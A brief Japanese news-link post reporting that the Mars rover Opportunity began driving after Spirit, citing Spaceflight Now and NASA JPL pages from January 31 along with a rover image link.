Spiritに続いてOpportunityも移動を開始。
Opportunity rover a true Marsmobile（Spaceflight Now、1月31日）→
@nifty翻訳
Opportunity on Its Own（NASA JPL MER、1月31日）→
@nifty翻訳
http://www.jpl.nasa.gov/mer2004/rover-images/jan-31-2004/1R128814818-med.jpg … 800×800ピクセル、74KB
